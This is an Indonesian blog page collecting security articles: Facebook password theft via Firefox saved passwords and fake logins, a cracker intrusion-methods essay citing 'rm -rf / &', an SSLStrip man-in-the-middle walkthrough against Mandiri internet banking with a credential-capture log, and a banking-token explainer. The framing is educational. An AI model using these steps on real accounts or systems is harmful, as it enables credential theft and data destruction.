// Agustus 2011 | baara rhapsody

Kamis, 18 Agustus 2011

Cara Hacker Mengambil Akun Facebook Anda


Taukah Anda kenapa akun facebook Anda mudah di hacker? karena Anda tidak pernah mau mendalami cara hacker melakukan aksinya. tapi maaf saya gunakan kata hacker dalam hal ini, padahal sebenarnya hacker bukanlah perusak, belajarlah jadi hacker karena dengan begitu Anda akan mengetahui cela-cela yang dapat di gunakan oleh hacker sehingga Anda lebih hati hati. Sekali lagi hacker bukanlah perusak. Saya sedikit share kenapa sih akun kalian dengan mudah di hack, sebenarnya caranya simpel asalkan ada kemauan dan sabar. Kali ini saya akan jelaskan bagaimana akun Anda dicuri ingat ini bukan membelajari anda menghack karena dalam etika hacker itu tidak dibenarkan.
Cara ini dilakukan dengan teknik mencek ulang cookies yang ada di MOZILA FIREFOX yang bisa menyimpan password dan username pemakai seperti password facebook, dll:
1. Buka Mozila Firefox
2. Buka tools
3. Buka options
4. Buka tab ‘security’
5. Buka ‘save passoword’
6. Entar akan terlihat nama user dan web site untuk melihat password klik “show password”
7. Selesai…
Cara kedua dengan fakelogin. Apakah anda pernah login ke situs facebook padahal anda sebenarnya sudah login? kalau iya berarti Anda sudah memberikan user dan password anda ke mereka. Apakah anda ga percaya apa yang saya katakan kalau anda ingin tau cara kerjanya silahkan anda masuk DISINI lalu anda cek apa yang terjadi DISINI aktivitas login anda tersimpan jelas di situ.
Sepertinya saya cukupkan penjelasan cara hacker membobol akun facebook, karena kalau terlalu banyak takut disalah gunakkan, ini hanya untuk pembelajaran dasar untuk Anda supaya mulai sekarang Anda berhati-hati di dunia maya yang tanpa batas.

To the Hack


Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.
Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.
Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm . Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di http://bastille-linux.sourceforge.net/ , http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.
Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-Online/ . Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.
Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e.
Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By ‘System Crackers’ When Attempting To Break Into Corporate or Sensitive Private Networks,” fist@ns2.co.uk http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 – karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.
Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.
Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).
Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.
Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah ‘ls ‘ , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah ‘expn ‘, dan (5) mem-finger user di mesin-mesin eksternal lainnya.
Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.
Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti ‘ps’ & ‘netstat’ di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.
Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).
Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan ‘clean-up’ operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang ‘backdooring’. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.
Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah ‘rm -rf / &’. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.
Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm -rf / &’.
Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.
Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko ( handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak – bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.
Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, “To boldly go where no one has gone before”.

MITM Attack on Mandiri Internet Banking using SSLStrip

On May 6, 2009, in Web Security, by Rizki Wicaksono
Https (http over SSL) sebenarnya adalah protokol yang sangat aman, protokol ini menjamin keamanan data dari browser hingga web server. MITM attack (man in the middle) tidak bisa dilakukan terhadap https karena https memiliki fitur authentication sehingga attacker tidak bisa menyamar sebagai web server. Walaupun mitm attack tidak bisa dilakukan terhadap https, namun attacker tetap bisa menyerang user yang menggunakan http sebagai pintu masuk menuju https. Dalam artikel ini saya akan jelaskan tentang SSLStrip, sebuah tool yang dibuat oleh Moxie Marlinspike untuk melakukan serangan mitm terhadap pengguna situs yang dilindungi dengan https.

SSL is not vulnerable to MITM attack
MITM attack adalah serangan dimana attacker berada di tengah bebas mendengarkan dan mengubah percakapan antara dua pihak. Jadi dengan serangan MITM ini attacker tidak hanya pasif mendengarkan, tetapi juga aktif mengubah komunikasi yang terjadi. Sebagai contoh, pada percakapan antara Alice dan Bob, Charlie menjadi pihak yang ditengah melakukan MITM attack. Charlie tidak hanya bisa mendengarkan percakapan itu, namun juga bisa mengubah percakapannya. Ketika Alice berkata “Besok makan siang jam 7″, Charlie bisa mengubahnya menjadi “Besok makan siang dibatalkan” sehingga Bob mengira makan siang dengan Alice tidak jadi.
Kenapa MITM attack bisa terjadi? MITM attack bisa terjadi karena sebelum berkomunikasi kedua pihak tidak melakukan authentication. Authentication berguna untuk memastikan identitas pihak yang berkomunikasi, apakah saya sedang berbicara dengan orang yang benar, atau orang ke-3 (the person in the middle) ? Tanpa authentication Alice akan mengira sedang berbicara dengan Bob, sedangkan Bob juga mengira sedang berbicara dengan Alice, padahal bisa jadi sebenarnya Alice sedang berbicara dengan Charlie dan Bob juga sedang berbicara dengan Charlie, sehingga Charlie bertindak sebagai “the person in the middle”. Seharusnya sebelum Alice dan Bob berbicara, harus ada authentication, untuk memastikan “Who are you speaking with?”. Alice harus memastikan “Are you really Bob? Prove it!”, sedangkan Bob juga harus memastikan “Are you really Alice? Prove it!”.
SSL adalah protokol yang memiliki tingkat keamanan sangat tinggi. SSL tidak hanya mengatur tentang enkripsi, namun juga mengatur tentang authentication sehingga SSL tidak rentan terhadap serangan man in the middle. SSL menggunakan sertifikat yang memanfaatkan kunci publik dan kunci private sebagai cara untuk melakukan authentication. Dengan menggunakan sertifikat SSL ini, pengunjung web bisa yakin sedang berkomunikasi dengan web server yang benar, bukan attacker in the middle yang menyamar menjadi web server suatu situs.
Attacker yang mencoba menjadi “the person in the middle”, akan dengan mudah ketahuan karena attacker tidak bisa membuktikan identitasnya dengan sertifikat SSL yang sah. Sertifikat SSL yang sah haruslah ditandatangani oleh CA (certificate authority) yang dipercaya dan tersimpan dalam daftar trusted CA browser. Jadi bila attacker mencoba membuat sertifikat SSL sendiri, browser akan memberi peringatan keras pada pengunjung bahwa sertifikat SSL tidak bisa dipercaya dan pengunjung disarankan untuk membatalkan kunjungan karena beresiko terkena serangan mitm. Serangan mitm attack baru bisa berhasil bila pengunjung tetap bandel dan nekat untuk menggunakan sertifikat palsu tersebut. Bila ini yang terjadi, maka kesalahan ada pada pengguna, bukan kelemahan SSL sebagai protokol. Lebih detil tentang https silakan baca Understanding Https.
HTTPS vs HTTP, Trusted vs Untrusted
http adalah protokol yang tidak bisa dipercaya karena rentan terhadap serangan mitm. Sedangan http over SSL (https) adalah protokol yang bisa dipercaya karena protokol ini tidak rentan terhadap serangan mitm. Informasi yang dilihat  pengunjung pada browser di sebuah page http sebenarnya tidak bisa dipercaya karena tidak ada jaminan integritas dan keontentikan data. Informasi tersebut kemungkinan sudah diubah di tengah jalan atau berasal dari sumber yang tidak otentik (orang lain). dan pengunjung tidak bisa melakukan verifikasi.
Sedangkan informasi yang dilihat pengunjung pada browser di sebuah halaman https bisa dipercaya karena DIJAMIN informasi yang diterima adalah sama dengan yang dikirim web server dan informasi tersebut juga DIJAMIN dikirim oleh web server yang benar. Dulu saya pernah menulis artikel tentang Trusted vs Untrusted klikBCA, yang menjelaskan tentang adanya dua subdomain yang berbeda, yang trusted menggunakan https dan yang untrusted menggunakan http.
HTTP as Gate to HTTPS
Jarang sekali orang mengunjungi situs dengan mengetikkan https:// bahkan http:// pun orang sudah malas. Kebanyakan orang langsung mengetikkan alamat situs yang ditujunya tanpa harus diawali dengan http:// atau https://. Secara default browser akan berasumsi bahwa pengunjung akan menggunakan protokol http, bukan https bila pengunjung tidak menyebutkan protokolnya.
Kebanyakan situs yang harus memakai https, memang dirancang untuk menerima request melalui http (port 80) atau https (port 443). Situs pada port 80 biasanya hanya dijadikan jembatan untuk menuju situs yang sebenarnya pada port 443. Bila pengunjung masuk melalui port 80, maka server akan memberikan link untuk menuju URL https, atau dengan memberikan response Redirect.
Jadi bisa disimpulkan bahwa sebagian besar pengunjung memasuki https dengan melalui http, dengan kata lain http sebagai gerbang menuju https. Metode peralihan dari situs http ke situs https ada beberapa cara, yaitu:
  • Memberikan link menuju URL https.
  • Memberikan response redirect ke URL https.
  • Menggunakan META tag auto refresh ke URL https.
  • Menggunakan javascript untuk load halaman https.
Attacking HTTP, not HTTPS
Sebelumnya sudah saya jelaskan bahwa https adalah protokol yang sangat secure sehingga tidak bisa diserang dengan serangan mitm. Namun mengingat kenyataan bahwa kebanyakan orang mengakses https melalui http, maka attacker memiliki peluang untuk menyerang ketika pengunjung masih berada dalam protokol http.
SSLStrip adalah tool untuk melakukan mitm attack pada protokol http  (bukan HTTPS), dengan maksud untuk menyerang situs-situs yang dilindungi dengan https. SSLStrip sebagai “the person in the middle”, akan mencegah peralihan dari http ke https dengan secara aktif mengubah response dari server sehingga pengunjung akan tetap berada dalam protokol http.
Mari kita lihat beberapa cara peralihan dari http ke https, saya tambahkan cara SSLStrip mencegah peralihan itu:
  • Memberikan link menuju URL https: SSLStrip akan mengubah link berawalan https menjadi http. Sehingga yang muncul di browser korban bukan link ke https melainkan link ke http.
  • Memberikan response redirect ke URL https: SSLStrip akan mengubah header Location dari URL berawalan https menjadi http.
  • Menggunakan META tag auto refresh ke URL https: SSLStrip akan mengubah url https menjadi http.
  • Menggunakan javascript untuk load halaman https: SSLStrip akan mengubah url https menjadi http.
Untuk lebih jelasnya berikut adalah gambar yang menunjukkan salah satu cara kerja SSLStrip mencegah korban beralih dari http ke https.
Opening Bank Front Page
Opening Bank Front Page
Pada gambar di atas korban mengakses web server bank dengan URL http://bank/. Request tidak secara langsung dikirim ke web server, namun melalui SSLStrip dulu. SSLStrip meneruskan request tersebut ke web server. Kemudian web server menjawab dengan memberikan html berisi link ke URL https://bank/login/ kepada SSLStrip. Sebelum response html diterima oleh browser, SSLStrip mengubah response tersebut dengan mengubah URL https menjadi http biasa sehingga HTML yang diterima di browser korban berisi link ke URL http://bank/login/ bukan https://bank/login/.
Opening login page
Opening login page
Korban mengklik link pada halaman yang muncul browsernya, tentu saja link ini bukan ke https://bank/login/ melainkan ke http://bank/login/. Dengan cara ini browser tetap dalam protokol http bukan dalam protokol https seperti seharusnya, dengan kata lain SSLStrip berhasil mencegah browser beralih ke protokol https. Request ke http://bank/login/ tersebut dikirimkan ke SSLStrip. Kemudian SSLStrip tidak meneruskan request tersebut ke http://bank/login/, melainkan membuat request baru ke https://bank/login/. Kemudian web server mengirimkan response dari response tersebut ke SSLStrip. Seperti biasanya SSLStrip akan mengubah response dari server tersebut untuk mencegah peralihan ke https. Response yang telah diubah ini kemudian dikirimkan ke browser korban sehingga korban tetap melihat halaman yang sama persis seperti ketika dia membuka https://bank/login/. Dengan tampilan yang sama persis ini, korban mengira sedang membuka https://bank/login/, padahal sebenarnya dia sedang membuka http://bank/login/. Perhatikan bahwa koneksi antara browser dengan SSLStrip adalah dalam http biasa, sedangkan dari SSLStrip ke web server dalam https.
submit username and password
submit username and password
Setelah muncul halaman login dan korban mengira sedang membuka https://bank/login, kemudian korban memasukkan username dan password dan mengklik tombol Login. Browser akan membuat POST request ke http://bank/login/ yang diterima oleh SSLStrip. Karena protokolnya adalah http, maka SSLStrip dengan mudah bisa membaca username dan password yang dimasukkan korban. SSLStrip kemudian akan mengirimkan username dan password korban degan POST request ke https://bank/login/.  Seperti biasa jawaban dari webserver akan dimodifikasi dulu seperlunya oleh SSLStrip sebelum dikirimkan ke browser korban.
Perhatikan bahwa korban sejak awal hingga login mengakses situs dengan http, sedangkan SSLStrip di tengah-tengah membuat koneksi https ke web server yang sebenarnya. Jadi walaupun browser mengakses dengan http, namun response yang diterima browser berasal dari koneksi https yang dibuat oleh SSLStrip.
Case Study: Mandiri Internet Banking
Mari kita coba trik di atas dengan contoh kasus pada situs internet banking Mandiri. Karena ini hanya contoh, saya tidak menggunakan teknik ARP Spoofing untuk melakukan MITM attack yang sesungguhnya. Saya sengaja mengubah setting browser saya agar menggunakan proxy, yaitu SSLStrip. Dalam website SSLStrip, disebutkan seharusnya cara untuk melakukan MITM attack dengan SSLStrip adalah:
  • Setting komputer agar bisa melakukan forwarding paket
  • Setting iptables untuk mengarahkan traffic HTTP ke SSLStrip
  • Jalankan SSLStrip
  • Gunakan ARPSpoof untuk meyakinkan jaringan bahwa traffic harus dikirimkan melalui komputer yang menjalankan SSLStrip.
Dalam contoh ini saya tidak melakukan ARPSpoofing, namun saya menggunakan SSLStrip sebagai proxy yang saya setting dalam browser saya. Sehingga setiap traffic http yang dilakukan browser saya akan dikirimkan melalui SSLStrip sebagai man in the middle.
Saya menjalankan SSLStrip di linux dengan IP address 192.168.0.10. Cara menjalankannya mudah sekali, cukup jalankan perintah: python sslstrip.py -l portnumber . Kemudian pada browser saya setting untuk menggunakan proxy 192.168.0.10 dan port sesuai dengan port sslstrip. Untuk lebih jelasnya, perhatikan gambar di bawah ini:
setting up SSLStrip as proxy in IE
setting up SSLStrip as proxy in IE
Setelah semuanya siap, mari kita coba melakukan serangan mitm. Pada skenario ini, korban akan login ke Mandiri IB tidak dengan mengetikkan https://ib.bankmandiri.co.id, karena korban hanya hafal bankmandiri.co.id saja maka korban langsung mengetikkan bankmandiri.co.id (tanpa diawali www atau http://). Secara default browser akan menganggap korban menghendaki koneksi dengan protokol http, bukan https. Request http tersebut dikirimkan melalui SSLStrip sebagai man in the middle, dan berikut adalah response yang diterima di browser korban. Sebagai pembanding saya juga berikan gambar screenshot halaman depan bank mandiri yang asli (tidak dimodifikasi sslstrip).
bank mandiri front page modified by sslstrip
bank mandiri front page modified by sslstrip
real mandiri front page (not modified)
real mandiri front page (not modified)
Login ke Mandiri IB dilakukan dengan mengklik tombol Login di halaman depan bank mandiri. Login tersebut sebenarnya adalah link ke URL https, namun SSLStrip mengubahnya menjadi http agar korban tidak beralih ke modus https. Berikutnya korban akan mengklik tombol Login, sehingga browser akan mengakses URL http://ib.bankmandiri.co.id (bukan https://). Berikut adalah gambar screenshot halaman login Mandiri IB yang telah dimodifikasi sslstrip dan yang masih asli. Kedua gambar di bawah ini sangat mirip, perbedaannya hanya pada penggunaan awalan http:// dan https://. Saya yakin kebanyakan orang tidak akan menyadari bahwa dia sedang menggunakan http biasa, bukan https.
Mandiri IB login page modified by sslstrip
Mandiri IB login page modified by sslstrip
real login page, https version and not modified
real login page, https version and not modified
Berikutnya setelah bertemu dengan halaman login, korban akan dengan senang hati memasukkan username dan password. Request tersebut dikirimkan dalam request POST http (bukan https) ke sslstrip. Karena POST dikirim melalui http, maka sslstrip bisa dengan mudah menyimpan username dan password korban.Berikut ini adalah log dari sslstrip yang menangkap username dan password Mandiri IB.
1
2
3
2009-05-06 12:00:43,339 Sending header: content-type: application/x-www-form-urlencoded
2009-05-06 12:00:43,339 Sending header: proxy-connection: Keep-Alive
2009-05-06 12:00:43,339 POST Data (ib.bankmandiri.co.id): action=result&userID=sensordong&password=rahasiabangetsensor&image.x=79&image.y=20
Setelah itu sslstrip akan mengirimkan username dan password korban dalam POST request ke URL https (ini adalah url submit yang asli). Response yang diberikan oleh webserver Mandiri IB akan dimodifikasi seperlunya dan dikembalikan ke browser korban. Bila login berhasil, maka korban akan melihat tampilan seperti gambar dibawah ini, sebagai pembanding saya juga sertakan gambar bila menggunakan protokol https.
login success page in http mode, modified by sslstrip
login success page in http mode, modified by sslstrip
real login success page, https mode, not modified
real login success page, https mode, not modified
Seperti pada halaman login, halaman setelah login berhasil juga sama persis walaupun menggunakan protokol http. Korban tidak akan menyadari bahwa dia sedang menggunakan http, bukannya https karena tampilannya memang tidak ada bedanya.
Tips Pencegahan
Serangan mitm dengan sslstrip ini dilakukan dengan memanfaatkan kemalasan pengguna untuk langsung menggunakan https. Pengguna yang malas memilih untuk menggunakan http biasa dan berharap di-redirect ke url https otomatis atau menemukan link ke url https. Padahal pada saat pengguna menggunakan http biasa itulah pengguna berpotensi terkena serangan mitm. Bila pengguna langsung menggunakan https, maka pengguna akan aman dan terbebas dari serangan mitm. Jadi mulai sekarang biasakanlah mengetikkan https:// di URL anda bila ingin mengakses situs yang sensitif.

Memahami Cara Kerja Token Internet Banking

photo by:hendriadi.wordpress.com

Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.

Authentication Method
Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:
  1. Something You Know
  2. Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.
  3. Something You Have
  4. Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.
  5. Something You Are
  6. Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.
Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“.  Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.
Two Factor Authentication
Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.
Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.
Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).
Password yang Dikeluarkan Token Internet Banking
Pada umumnya ada dua mode pemakaian token internet banking:
  1. Mode Challenge/Response (C/R)
  2. Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.
  3. Mode Self Generated (Response Only)
  4. Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.
Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:
  1. Hanya boleh dipakai 1 kali
  2. Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.
  3. Hanya boleh dipakai dalam rentang waktu yang terbatas
  4. Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.
  5. Hanya boleh dipakai dalam konteks sempit
  6. Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.
